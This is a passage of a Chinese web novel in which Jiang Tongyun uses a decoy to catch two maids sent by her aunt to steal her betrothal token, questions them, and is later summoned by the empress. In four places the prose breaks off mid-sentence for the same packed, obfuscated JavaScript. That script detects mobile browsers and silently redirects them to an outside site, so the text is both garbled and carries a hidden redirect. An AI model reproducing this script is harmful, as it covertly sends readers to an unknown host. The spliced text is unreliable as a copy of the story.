因为自己不肯回姜府住,所以李夫人才要想方设法地往自己住处塞人。至于异常热情地邀请自己去宫宴,恐怕也是为了让金陵权贵圈子里的夫人们认为自己目前婚事未定,好让姜向瑶的婚事更加名正言顺一点。 这些手段都算不上高明,不过真让他们办成了的话,自己这边也会陷入被动。 见姜同云沉思不语,谢怀雵主动道:“如果姜姑娘需要的话,在下可以提供帮助。颍川侯府的老夫人如今虽然长居京郊园子休养,但在下还是有法子让她知晓金陵之事的。等她回到侯府,自然会为姑娘主持公道。” 姜同云抬头看向对面。见谢怀雵神态认真并非玩笑,姜同云失笑道:“多谢殿下好意。不过我并不打算破坏他们的计划。” 谢怀雵愣了一瞬,随即反应过来:“姜姑娘不满意这门婚事?” 姜同云笑了笑:“韩公子学富五车、前途无量,我岂敢挑剔于他?” 懂了,就是不满意韩纬这个人。 谢怀雵点了点头:“那姑娘的顾虑为何?” “强扭的瓜不甜。既然颍川侯及其夫人不满意我做儿媳,我又何必强贴上去?即使现在有老夫人为我撑腰,但老夫人不可能永远替我遮风避雨。”姜同云摇头轻叹,“倒不如我自己识趣一些,主动放弃这桩不相衬的婚约。” 明白了,这是对整个颍川侯府都不太满意。 从世俗眼光看,这门婚事无疑是极好的。有这侯门富贵在,即便婚后会受些磋磨,恐怕也有许多人趋之若鹜。 但面前这位姜姑娘却放弃得这般洒脱,倒让谢怀雵颇感意外。 “所以姜姑娘是想去退亲?” “本来是想过退亲的。”姜同云大大方方地承认了,“不过我外祖父肯定不愿意。所以我之前还苦恼了好一阵子,想找个合适的理由,在双方不撕破脸皮的前提下办好这件事。” 不过现在好了,有人愿意接盘,姜同云也不用费那力气。只要找个好时机把信物交出去,再瞒上外祖父一阵。等韩纬和姜向瑶过了定亲流程,她就能开开心心地回杭州去了。 谢怀雵明白了她的意思:“好吧。看来是我先前多虑了,还瞒着姑娘去调查这些事情,实在是抱歉。” 姜同云已经不生气了:“没事。如果不是殿下去查,我现在还不知道他们究竟在打什么算盘呢。您这也是帮了我一个大忙。” 谢怀雵只摇了摇头:“和姜姑娘的恩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14439996|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情相比,这实在算不上帮忙。将来姑娘要是遇到别的困难,尽管同我开口。只要是我能帮上忙的地方,我一定尽力而为。” 姜同云刚要答谢,就听隔门后传来了一阵“噔噔噔”的脚步声。 “大约是含昭那丫头练完字了。”谢怀雵笑道。 果不其然,下一秒隔门就被推了开来,谢含昭像个小炮弹一样冲了出来:“怀雵哥哥,我写完啦!” 谢怀雵笑着敲了下她的脑门:“可是认真写的?” 谢含昭昂起头来:“当然是认真写的!我写得可好啦!” 谢怀雵站起身来:“好吧,那我就去检查一下。要是写得敷衍,你等会就别想钓鱼了。姜姑娘,劳烦帮在下看着含昭,别让她跑了。” 姜同云含笑应下。 见谢怀雵转身离开,谢含昭在他背后偷偷做了个鬼脸,随即转身抱住姜同云的胳膊:“姜姐姐,船都开到湖上了,咱们快出去看看吧!” 姜同云刚才一直在跟谢怀雵对话,根本没空关注行船进度。这会听到谢含昭这么说,她才转身去看窗外。 窗外已然换了一副景致。 原本奔流的水流此时已变成了一片静波。早晨的阳光撒在宽阔的湖面上,映得周遭湖水分外清明。 稍远处还能看见别的游船画舫,或是缓行或是停驻,一派怡然自得。 暖风自雕花窗吹入,带来了附近船只上的丝竹管乐,还有更远处岸边柳树上的莺啼燕鸣。 姜同云只觉得手痒起来。 她果断拉住谢含昭:“走,咱们钓鱼去!” ***** 当天回到家时,天色都已经有些擦黑了。 姜同云带着满满一篓子的鱼获回到了位于升平坊的住宅。 陶叔看着这老些鱼不由发起了愁:“这么多,怎么吃得完啊?” 姜同云也觉得无奈。不知怎么了,她今天钓鱼的手气特别地好,鱼是一条接一条地上钩。每次甩钩下去,没几分钟就得提竿。就连坐在她旁边的新手谢含昭都被她带得大丰收了。 钓到后来,周围甚至聚起了好几艘游船,其他船上的游人都趴在栏杆上看着她俩钓,据说还有人开盘赌她们半个时辰能钓几条的。 最后,连一直待在二楼船舱的谢怀雵都被吸引了出来。 为了不引起轰动,姜同云只能停手。 但谢含昭还没过瘾,所以一行人又在原处多停了一会。 就这一会,谢含昭又钓上来好几条。 “我才只拿了一点呢。”姜同云也对鱼的数量感到头疼,“多的都让五公主带回去了,她说晚上回宫请皇上和皇后娘娘,还有各宫妃嫔们一起吃鱼。” 陶叔接鱼的手一顿:“这么说,咱们家也算是跟陛下还有各位娘娘吃上同样的东西了?” 姜同云笑了:“算吧。” 毕竟是一起钓上来的鱼,顶多烹饪水平存在一定差距。 陶叔肃然起敬:“那可不能浪费了。今晚咱们都吃鱼!” 笑着送走陶叔,姜同云目光一敛,侧头低声对身旁的木樨道:“义阳侯府送来的两个丫鬟还在西厢房住着?” 木樨点了点头。 “晚饭后把她俩叫到我房里来。” 接下来的推盘行动,就从她俩入手吧。 15. 上钩 李夫人送来的两个丫鬟,一个唤作秋芙,另一个唤作秋茗。 她俩原先都是在正院里伺候的,虽然比不上夫人小姐身边的几名大丫鬟,但在侯府下人里也算是相当风光体面的。 可如今到了大姑娘这儿,外头有陶叔父子,院里的事情也被木樨和杭州来的嬷嬷、丫鬟们把着。许家跟来的下人对她们多有防备,她们只能整天待在西厢房里,陪着杜嬷嬷。 杜嬷嬷上了年纪,加上是从宫里放出来的,素日里行事谨慎、极有分寸。没有什么特殊的事情,她绝不会往外走一步,没事做的时候都窝在房里看书打发时间。两个年轻丫鬟跟着她,自然憋闷得慌。 这会儿听木樨说大姑娘叫她们过去,两人反应各不相同。 秋芙年纪小些。因为杜嬷嬷约束,她这些天连西厢房都没怎么出去,早就闷坏了。如今听到要去大姑娘房里,她第一个反应就是高兴。 “可算是能出去了!可惜院子里的桃花都谢了,不然还能去折两枝回来插瓶。” 秋茗正垂头整理衣裳。听到这话,她抬起头来扫了秋芙一眼,低声道:“你知道大姑娘叫我们过去做什么吗?” 秋芙摇了摇头。 秋茗叹了口气:“夫人到现在都不提接杜嬷嬷回去,大约是想让我们和杜嬷嬷一起留在这里。” 秋芙瞪大了眼睛:“留在这里?可是……可是我父母都在侯府里,我不想跟他们分开。” 况且大姑娘这里虽然没什么规矩,但要跟侯府比吃穿用度,那可真是差远了。再说了,她俩是夫人送过来的,大姑娘不可能会重用她们。真要留在这里,往后的日子想也知道会有多憋屈了。 秋茗拉了拉衣袖:“我猜大姑娘也是不愿意留下我们的。所以如果大姑娘问起去留,我们可得好好想想,到底怎么回答。” 秋芙懵懵地应了。 两个人随着木樨一道去了东厢房。 这还是她们第一次进入大姑娘的屋子。 甫一进去,她们就感到了讶异。 因为大姑娘屋子里的装饰摆设和府里其余姑娘的都不太一样。 越朝占据南方,百姓富庶。加上如今国力强盛,金陵近年来也自然而然地时兴起一股奢靡之风。 女儿家的闺房,就成了金陵贵妇们攀比的一大战场。 今日你用上好的绫罗做帐,明日我就要买名贵的香料制香。越是把女儿养得金尊玉贵,就越能体现出一家的财力,将来给女儿议亲的时候脸上也越有光彩。 义阳侯府虽然现今在朝堂上已无实权,但老侯爷攒下的富贵还在。姜弘凯夫妻二人追逐金陵潮流,府里姑娘们的日常起居自然也十分讲究。 李夫人对待几个庶出的女儿还算公平,府里几位姑娘的吃穿用度差别不大,屋子里的装潢摆设也大差不离。各处都用上了顶好的材料,大到家具、小到摆件,用的全都是华贵之物。但凡是有点空位的地方,李夫人都恨不得摆上一些什么。 和几个妹妹相比,姜同云的屋子简直太朴素了。 除了必要的床榻、柜架、桌椅等物外,姜同云的屋子里几乎没有多余的家具,乍一看甚至还有些空空荡荡的。 屋里的摆设也不多,只有一面屏风、两幅挂画,并三四件置在架上的玩器。 这间屋子甚至都没有熏香! 秋芙和秋茗极力压制,才没让自己脸上露出惊诧之色。 她们按照规矩,恭恭敬敬地给姜同云请了安。 “听说你们原本都是在侯府正院里伺候的?” 玩了一天的姜同云已经有些困乏,说起话来都有些懒洋洋的。 秋芙二人心中忐忑,小声地应了。 “我这次到金陵来,也带了不少东西。”姜同云倚在榻上,已经有些睁不开眼了,“这两天理了一遍,发现我这儿快放不下了。” “西厢房那边应该还有一间耳房空着,我打算挪一些东西过去。杜嬷嬷年纪大了,我也不好让我这儿的丫鬟过去打扰,就麻烦你们俩帮忙看着点。” 秋芙和秋茗对视一眼。 秋茗斟酌着开口道:“大姑娘想让我们保管东西?” 姜同云摆了摆手:“倒也不是。你们对我的东西也不熟,交给你们保管我不放心。钥匙还是由木樨收着,你们只管平日里帮我听着点动静,别让老鼠进去啃坏了东西就成。” 秋茗略微放下了心。 她初来乍到的,也不想担这种责任。万一哪里出了问题,惹恼了大姑娘,只怕这里和侯府两头都没法交代。 想到这里,秋茗痛快地应了下来:“是。” 姜同云捂着嘴打了个哈欠:“那就这样吧。我实在是困得很,木樨,你今晚辛苦些,领着人把放不下的东西都挪过去吧。” 木樨面露难色:“姑娘,那些东西太杂了。我们就这几个人,您身边也不能缺了伺候的,一时半会怕是挪不完呢。” 姜同云想了想:“留一个在屋里就行。要是人手不够,就先让秋芙和秋茗帮下忙吧。” 木樨看向二人。 两个人连忙应了。 姜同云颔首:“那就这样安排吧,尽快把东西归整了。对了木樨,你明日去跟陶叔说一声,她俩如今到了我这会儿,我也该给她们一份月钱。从这个月起,比照你的数额,也给她俩支一份。” 木樨应了一声,姜同云便摆手让她们去库房里收拾。 木樨领着两人到了充作库房的耳房里,取出钥匙打开了门上的铜锁。 库房里果真堆了好些东西。 这处宅子里本身就有一些家具,姜同云来了以后就没多添置。不过旁的地方都够用,但库房里的架子实在是少了一些,稍一摆放就满了。这不,架子上放不下,就只能把一些不太要紧的堆在地上了。 木樨指挥丫鬟们先把装被褥的箱子抬去西厢房。 移走这些大木箱,库房里立刻空了不少。木樨蹲下来,开始逐个检查地上余下的小箱子。 “这个、这个、还有这个,这些都挪过去吧。” “木樨姐姐,这个盒子也放过去吗?”一个小丫鬟捧着手中木匣子问道,“里面装的都是姑娘的首饰呢。” 木樨打开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14440955|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她手中的盒子仔细看了看。 这只首饰匣分成两层,顶上一层摆的是些珠钗,下面一层则放了一枚上好的羊脂玉佩。 木樨把匣子合了起来:“也放过去吧。里面都是些姑娘不常戴的首饰,放在这里也占地方。” 小丫鬟应了一声,捧着匣子往西厢房去了。 秋芙和秋茗还在看呢,木樨又把两只匣子放到了她们手上:“这些也一并拿过去吧。” 几人合力运了几趟,将库房里不常用的东西都挪到了西厢房的耳房内。 木樨掏出提前准备好的铜锁,将这边这间新库房也锁了起来。 此时天色已然黑透。 木樨收好钥匙,笑着说道:“大家辛苦了。都快些回去休息吧。” 等众人散去,木樨借着院里灯笼照明,快步回到了东厢房内。 她刚一关上房门,早就吹灯就寝的姜同云掀开被子坐了起来,用气音唤道:“木樨!” “哎!”木樨同样回以气声。 “东西拿过去了?” 木樨摸着黑走到床边坐下:“拿过去了!我特意当着她俩的面打开过的。她们肯定看到了,颍川侯府给的定亲信物就在里面!” “好!四娘那边你也通知过了?” “嗯。我吃饭的时候就偷偷跟她讲了。她这两天会和陶振轮流值班,盯着西厢房那边的。” 姜同云笑了:“好!接下来就看能不能把人钓出来了!” ***** 接下来几日一直风平浪静。 作为一个钓鱼好手,姜同云自然非常沉得住气,一直耐心等待。她身边的人也早就跟着她锻炼出来足够的耐心,知道计划的几人都没露出破绽。月底的时候陶叔还遵照姜同云的许诺,按木樨的月钱数额给秋芙秋茗两人发了钱。 所有人都装着无事发生的样子,静静等待鱼儿上钩。 就是辛苦了柳四娘和陶振这两个负责盯梢的人。 五月初一那日,姜同云收到了谢含昭送来的帖子并一串宫里御厨做的粽子。 按照惯例,端午节当天,宫里会举办节庆宴会。各家各府受邀赴宴,宴会结束后还能在宫里一起观看龙舟比赛。 按理来说,这种帖子一般都是以家庭为单位分发的。但姜同云的这份,是以谢含昭的个人名义送的。 小姑娘对着父皇母后撒了好几天的娇,得到允准破例单开一席小宴,用来招待她的朋友。 姜同云感受到了谢含昭的体贴周到。 为了答谢这位小公主的好意,同时也方便吸引鱼儿咬钩,姜同云当即决定,带人出门去给谢含昭挑选礼物。 为了给秋芙二人创造机会,姜同云特意带走了常在主院里伺候的大部分人马。偌大的主院里就只留下常年躲在西厢房看书的杜嬷嬷,以及姜同云从杭州带来的两位老嬷嬷。 她特意制造了这么好的局面,对方再不行动可真就说不过去了。 果不其然,姜同云刚在东市订好东西,就收到了蹲守在家的陶振派人递来的消息。 人已经抓着了。 16. 审问 姜同云带着人赶回家的时候,两个丫鬟都已经被两个老嬷嬷捆了按在院子里。 丫鬟们搬来了椅子,姜同云安然坐下。看着跪坐在面前的两个人,她不免有些讶异地挑了下眉。 “她们两个都想去偷东西?” 陶振答道:“去库房的是那个叫秋芙的丫鬟。但她用来撬窗的工具是另一个人从厨房偷的。秋芙撬窗的时候,那个秋茗还帮着她引走了院里的嬷嬷们。” 看来还是合伙作案啊。 姜同云看了一眼西厢房,低声问道:“杜嬷嬷呢?” 陶振也小声回答道:“杜嬷嬷一直都在屋里,没有出来过,应该没有参与其中。” 姜同云点了点头,决定先处理这两个丫鬟。 “说说吧,为什么要撬窗。” 秋茗咬唇,没有作答。 秋芙倒是先呜呜地哭了起来:“姑娘饶了我吧。我就是一时贪心,想着去里面偷拿一点首饰出来换钱。我再也不敢了,您就饶了我这一次吧!” 姜同云看着嘤嘤哭泣的秋芙,叹了口气。 木樨刚要说话,却被姜同云拦下。 “四娘,你把秋茗带去我屋里。至于秋芙,今日天气不错,就让她先在院子里等着吧。” 说罢,姜同云便起身回屋。 柳四娘立刻上前,一把将秋茗从地上拉起,带着她跟上了姜同云。 秋芙跪坐在原地,抬起头不知所措地看向木樨。 木樨双手抱胸:“看我干什么?你继续哭呗,这么多人等着看呢。” 说完,她也扭头转身,跟在柳四娘身后回了屋子。 屋子里。 姜同云率先进来,在桌边坐下。很快,柳四娘就将秋茗拉到了她的面前。 秋茗一咬牙,就要屈膝跪下。好在身旁柳四娘眼疾手快,一把将她架住。 木樨正好在这个时候进来,被吓了一跳。 “这是要做什么?” 她看向姜同云:“姑娘,您这是要……拷问她啊?” 姜同云半是好气半是好笑:“我拿什么拷?别关门了,就这样开着吧。” 说着,她给自己倒了杯水,饮了一口。 秋茗被柳四娘架着,跪都跪不下去。她也拿不准姜同云的心思,只能小心翼翼地抬头观察屋内其余几人的表情,试图推测接下来会发生的事情。 姜同云也不着急,干脆将秋茗晾在原地。饮了一杯水后,她又唤来木樨交代了一回事情,之后就拿着上个月的账本,边看边等木樨办完事回来。 秋茗看着姜同云悠闲自得的模样,心里越发没底了。 等木樨回来已经是一刻多钟后了。 “姑娘,事情都吩咐下去了。” “好。”姜同云笑着从木樨手里接过刚泡来的热茶,“陶叔那边怎么说?” 木樨扫了秋茗一眼:“陶叔已经派人去了。他说等报了官,再带着官府的人一起去通知侯府那边。” 听到这话,秋茗彻底坚持不住了:“姑娘!姑娘饶了我吧,千万别报官啊!” 姜同云叹了口气:“秋茗,你都要在我这里偷东西了,我还能怎么处置你。” 秋茗哀求道:“您打我也好骂我也好,把我撵出去都行,但是我求求您,能不能不去报官啊。” 木樨冷笑一声:“你这人可真好笑,没见过这样上赶着讨打讨骂的。” 秋茗忍不住落下泪来。 看她刚才和秋芙不同的表现,姜同云就知道她可能是不得已而为之。这会儿见把人晾得差不多了,她适时开口道:“秋茗,你可是有什么难处?” 秋茗怔了一怔,随即失声痛哭。 木樨一时有些惊慌:“不是,这……这是怎么个事啊?” 架着秋茗的柳四娘也有些手足无措,不由地松开了手。 姜同云示意两人扶着秋茗在桌边圆凳上坐下。 秋茗哭了好一阵子才渐渐止住。 “我原是金陵城郊村子里的人。前几年,我阿爹生了重病,家里一下子掏出去好多银子。”秋茗的声音还有些哽咽,“后来人是救回来了,但身子彻底坏了。他下不了地,只能在家做些轻便的活计。家里养不起这么些孩子,就商量着把我卖到了侯府,签了十年的契。” “上个月,家里请人传了口信,说我阿爹的病又犯了。家里银钱不够,我只能想办法去求管事,先支了下个月的月钱。谁知道没两天,夫人就把我叫了过去。”说到这里,秋茗垂下了头,不敢去看姜同云,“她说要送我到姑娘这儿来,还许诺我以后每个月的月钱翻倍。” “为了月钱,你就答应了她?” 秋茗微微点头。 “我原本以为过来就是伺候杜嬷嬷的。谁知道那天姑娘才交代我们看库房,晚上一回去,秋芙就要我帮着她去库房里偷东西。” 说到这里,秋茗的声音已经微微颤抖起来:“我原本是不愿意的。但秋芙说这是夫人的命令,还说只要我们办成了这件事,夫人就会奖励我一大笔银子。要是办不成,我会被撵出侯府。” “她是家生奴婢,父母都是夫人身边得用的人。”说到这里,秋茗顿了顿,“她娘就是夫人身边的郭妈妈,大姑娘应该是见过的。” 姜同云不置可否地笑了笑:“继续。” 秋茗咽了口唾沫:“我不敢跟秋芙对着干。而且她不用我亲自动手,只说要我帮忙偷点工具,再去引开别人。我……我就答应了。” 说到这里,她继续哀求起来:“姑娘,我求求您了,您可千万不能报官。要是让夫人知道了,我……我肯定……” 姜同云抬起手来:“行,我知道了。四娘,你先把她送到主屋的耳房里关起来。再去院里把秋芙带来。” 不多时,秋芙就被柳四娘拉着进了屋子。 刚刚在院子里,她虽然能透过开着的门看见少许屋子里的光景,但因为隔着距离,加上屋里的人都刻意控制了音量,所以她也不清楚秋茗都说了些什么。 不过秋茗出来的时候她看得分明,对方是被姜同云身边的那个柳四娘搀扶出来的。 秋茗肯定把她自己知道的事情全都交代了! 秋芙心里忐忑不安。为了不露出破绽,她一进来就往地上一赖,随即开始嚎啕大哭起来。 姜同云不爱听她叫嚷,朝着柳四娘微抬下巴。柳四娘会意,抬手捏住秋芙的脸颊一按一拉,秋芙就失去了对下巴的控制能力。 秋芙震惊地看向柳四娘。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14449620|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 木樨得意一笑:“四娘家里原是开医馆的,她阿爹可是治脱臼的好手。她自小耳濡目染,卸个胳膊下巴什么的,根本不在话下。你要再哭再闹,等下就把你的胳膊给卸了!” 柳四娘也适时按了按手关节,发出噼里啪啦的声响来。 秋芙面露恐惧之色。 姜同云淡声道:“先给她安回去吧。要是等会再哭,就再卸一回。” 柳四娘又麻利地给她把下巴接了回去。 秋芙揉着脸颊,不敢再哭嚎了。 姜同云撇着盏中茶叶:“秋茗已经交代过了,你也别瞒着了,老实说了吧。” 秋芙还想嘴硬:“姑娘,我真就是一时贪心……” “一时贪心?”姜同云直接打断了她的话,“别装了,秋茗已经告诉我了。李夫人派你过来就是想让你从我这里偷取颍川侯府给的定亲信物。” 目的被道破,秋芙震惊之下脱口而出:“不可能,我明明没有告诉过她!” 姜同云笑了:“所以你真是为了偷信物来的。” 秋芙这才发现姜同云刚刚只是在诈自己,连忙捂住了自己的嘴。 “别捂了。”姜同云放下茶盏,“我现在给你两条路选。第一,我报官并且通知义阳侯府,说你要在我这里偷东西。第二,我送你回义阳侯府,你帮我劝劝你家夫人,让她别再动这种歪脑筋了。” 秋芙咬了咬牙:“姑娘还是报官吧!” 姜同云挑眉:“容易走的路不走,非要去官府吃一遭苦。你这是何必呢?” 秋芙肩膀一松,大有一种你能耐我何的赖皮气质:“横竖事情都办不成了。我自己回去交代那是无能,免不了吃挂落;但要是我把事情扛下来,夫人多少还会顾念旧情,捞我一把。孰轻孰重,我还是会选的。” 况且事情真要闹到报官的地步,侯府脸上无光,大姑娘也讨不到好。秋芙赌姜同云不敢把事情闹大。 她抬头望向姜同云:“这事要闹起来,侯府脸面受损,您和侯爷、夫人之间也会产生嫌隙。没了侯府给您撑腰,颍川侯府又会怎么看待您呢?事关姜府脸面,大姑娘毕竟也姓姜,您不如退上一步,装作不知情的好。” 听到秋芙这般威胁之语,木樨和柳四娘都面露愤怒之色。 姜同云却笑了起来。 “那你就去官府吧。不过很可惜,你家夫人大概是不会救你的。” 秋芙并不服气:“为什么不会?” “很简单,没有人会去救一个不忠心的仆人。如果你知道她的其他秘密,也许她会想办法把你从官府捞出来。不过捞出来以后,你的小命可就保不住了。” 秋芙急道:“不可能!我对夫人忠心耿耿,夫人是知道的!” “是吗?”姜同云笑了笑,“你对她忠心耿耿,那你怎么会把偷信物的事情告诉我呢?” “那……那是你诈我!” 姜同云摊了摊手:“这话你可以去同你家夫人讲嘛,看看她会不会信。偷信物这事,她只交代了你,要不是你口风不严,我又从何得知呢?” “一个口风不严的下人,哦,我听说你还是个家生奴婢呢。”姜同云故作惋惜地摇了摇头,“啧啧啧。” 秋芙彻底瘫软在地。 17. 端午 半晌后,秋芙才重新有了力气:“大姑娘想让我怎么做?” 姜同云托着下巴:“本来我是想把你直接送回去的,不过你刚才的话提醒了我。为了这桩婚事,我暂时也不能跟叔父婶婶他们撕破脸皮。所以,你就先在这里住着吧。” 说着,她朝柳四娘挥了挥手:“给她关到后罩房里去。” 秋芙很快就被堵住嘴带了下去。 等人离去,木樨焦急地问道:“姑娘,你就打算把人一直这么关着吗?” 姜同云笑着摇了摇头:“当然不是。关着她们还得管吃管喝的,那可不划算。” “那姑娘是要报官?” 见姜同云还是摇头,木樨越发着急:“您不是真要把她们送回侯府吧?这事肯定就是李夫人指使的,侯府一定不会重罚,这样太便宜她们了!” 姜同云拉着木樨在圆凳上坐下,又笑着拍了拍她的手背以示安抚:“罚不罚他们,对我没有什么影响。” “那至少也能出口气吧。”木樨不满地嘀咕道。 姜同云端起茶盏,抿了一口:“前几日游湖钓鱼的时候,通过五公主那边的关系,我知道了一个消息。” “颍川侯府想要把这桩婚约,换给二妹妹。” 这下木樨彻底坐不住了:“他们怎么能这样!我马上去告诉陶叔,让他写信回杭州,请老爷子上来替姑娘主持公道!” 姜同云赶紧拉住蹦起来就要往外冲的木樨:“回来回来!” 木樨急得直跺脚:“姑娘!你怎么一点也不着急呢!” “着急有什么用啊。”姜同云拉着木樨,强行将她按回凳子上坐着,“木樨,我问你个问题,你要老老实实地问答我。” “你觉得,那位韩公子为人如何?” 木樨下意识回答道:“他家世好,又有学问,长得也算一表人才……” 看着姜同云似笑非笑的表情,木樨重重叹了口气:“好吧好吧,我不喜欢他。那天他的说话实在是让人生气。就算他嘴巴笨不会说好听的,那至少也该知道闭口不言的道理吧,哪有那样说教的,好像把姑娘当成了那些贪杯酗酒的家伙似的。” 姜同云略一耸肩:“是咯。你不喜欢他,我也不喜欢他。正好,他跟他家里人也都不喜欢我。” “既然双方都不满意,那我为什么还要上赶着去结这门亲呢?” 木樨感觉自家姑娘这番话说得很有道理,但似乎又有哪里不太对劲。她挠了挠脑袋:“那姑娘是要去退亲吗?” 姜同云扬了扬眉,露出了狡黠的笑容:“本来是有过这种打算,不过现在不需要了。正好他们想用二妹妹换掉我,我只要顺水推舟,就能解决掉这桩讨人厌的婚事啦!” 木樨恍然大悟地点了点头。 但她很快又想到了别的问题:“不对不对。姑娘就这样把亲事让出去了,老爷子那里要怎么交代啊?他一定不会同意您这么做的!” “我也觉得外祖父不会同意。所以啊……”姜同云拍了拍木樨的肩膀,语重心长地说道,“木樨,你得帮我保守这个秘密!” 木樨这才发现自己上了姑娘的贼船:“这……这不是在骗老爷子吗?” “怎么能说是骗呢?我们就是瞒一段时间。等到颍川侯府和义阳侯府走完了下聘流程,正式宣告两家婚事,我们再把这个‘不幸’的消息告诉祖父。” 姜同云竖起食指摆了摆:“我们什么都不知道,他老人家顶多气一气两家侯府。” “……那您的婚事怎么办?” 姜同云倒是做过打算。 她也不放心自己那对不靠谱的叔婶。所以她想找个各方面都看得过去又好拿捏的男人,她可以出点钱,让对方跟自己假成亲。等过一上段时间,再以感情不和为由和离。之后她就可以借口情伤未愈不愿再嫁,这样应该能保自己好些年的清静。 不过这样的人找起来可不太容易。所以姜同云并不打算把这个计划告诉木樨。 她只叹了口气,神色黯然地说道:“我一直希望能找个心意相通之人,只是这样的人,恐怕我是遇不到了。” 木樨连忙握着她的手劝慰道:“姑娘别伤心,您一定能找到的!” 姜同云点了点头。考虑到自己演技不济,只能暂时骗过木樨,她赶紧转移话题:“先不提那些长远的事了。现下最要紧的还是处理秋芙二人的事情。” “对对对。还是这个要紧些。”木樨连连点头,“既然姑娘要把人送回义阳侯府,那我这就去找陶叔。” 姜同云拦住她:“不急。我要先关她们两天。” “为什么啊?” “虽然我们要顺着侯府的计划来,但我们不能跟着他们的步子走。得把主动权握在自己手里。”姜同云笑着说道,“所以先晾他们几天,等侯府发现不对了,我们再进行下一步的行动。” “这跟钓鱼是一个道理,咱们现在就相当于在用秋芙她们打窝!” ***** 端午当日,姜同云坐着谢含昭派来的马车进了宫。 依照宫规,参加宫宴需要提前至宫城内集合等候,所以好巧不巧的,车子经过外城宫墙附近的时候,姜同云就在看见了寒暄的李夫人和颍川侯夫人。 颍川侯夫人这次是自己来的,身旁没有跟着别人;倒是李夫人带了姜向瑶一块来。 说是寒暄,但主要还是李夫人母女俩在说。颍川侯夫人还是那个样子,微抬着下巴,神情轻慢,只有偶尔听到几句可心话时才会稍稍露出些许笑意。 姜同云仔细观察了一下,发现颍川侯夫人还是对姜向瑶笑得更多。看来在说话艺术这方面,李夫人确实不如她的女儿。 因为坐的是宫里派来的马车,加上姜同云此次参加的是以谢含昭名义单开的小宴,所以她不像其他女眷一般,要在这边下车等候。马车直接载着她继续朝内走去,一路畅行无阻,直到行至内城门口,车内陪同的女官才出声示意姜同云下车。 之后她便跟着女官,验明身份进入内城,然后一路朝内走去。 姜同云隐隐觉得有些不安,开口询问道:“可是要去拜见公主殿下?” 女官半侧过身来:“是皇后娘娘要见见姜姑娘。” 姜同云心里一咯噔。 她以为今天就是来陪谢含昭吃饭玩耍的,没想到皇后居然要见她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14449621|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但细究起来,姜同云倒也不觉得意外。邓皇后育有一子二女,可惜长女早夭,之后又隔了好多年才怀上了五公主。所以她对谢含昭这个小女儿一向是非常疼宠的。 这会儿她发现女儿交了个新朋友,出于对女儿的关爱,想要见一见、考察一下姜同云,也是合乎情理的。 姜同云深呼吸了几回,努力让自己的心绪平复下来。 一路无话,很快就到了皇后居住的椒房殿。 女官上前通报。不多时,就有人出来请姜同云入内。 好在先前杜嬷嬷上课的时候仔细教过宫内觐见的礼仪。姜同云微低着头,跟着宫人进入殿内。 椒房殿里焚着味道清淡的熏香,加上应景挂上的艾草,殿内充斥着清新淡雅的草木香味。 宫人引着姜同云进了暖阁。 邓皇后坐南面的坐榻上,手里捧着一卷书册正在阅读。 姜同云按照杜嬷嬷所教授的,端端正正地行了拜见礼。 邓皇后倒也没有故意晾着她以作下马威,不仅很快就免了礼,还让人给姜同云搬了个鼓墩,就放在坐榻近旁:“坐。” 姜同云依言坐下。 邓皇后放下手中书卷:“抬起头来,让本宫看看。” 姜同云垂着眼抬起下巴。 “倒是个漂亮姑娘。”邓皇后笑了笑,“怪不得含昭喜欢你。” 瞧您这话说的,要是五公主是个男儿,恐怕金陵马上就要传绯闻了。 姜同云心里默默吐槽,面上却还保持着无可挑剔的恭敬:“娘娘谬赞了。” 邓皇后又就着年龄、日常喜好之事问了几句,姜同云都一一答了。 前菜上完,邓皇后也开始切入主题:“本宫听说你如今不在义阳侯府,而是独自住在升平坊里?” 姜同云心里一紧。她不知道邓皇后问这个事是为了什么,只能简略应到:“是。” 邓皇后倒一点也不拐弯抹角,直截了当地问道:“可是你叔婶对你不好?” 姜同云不禁有些为难。 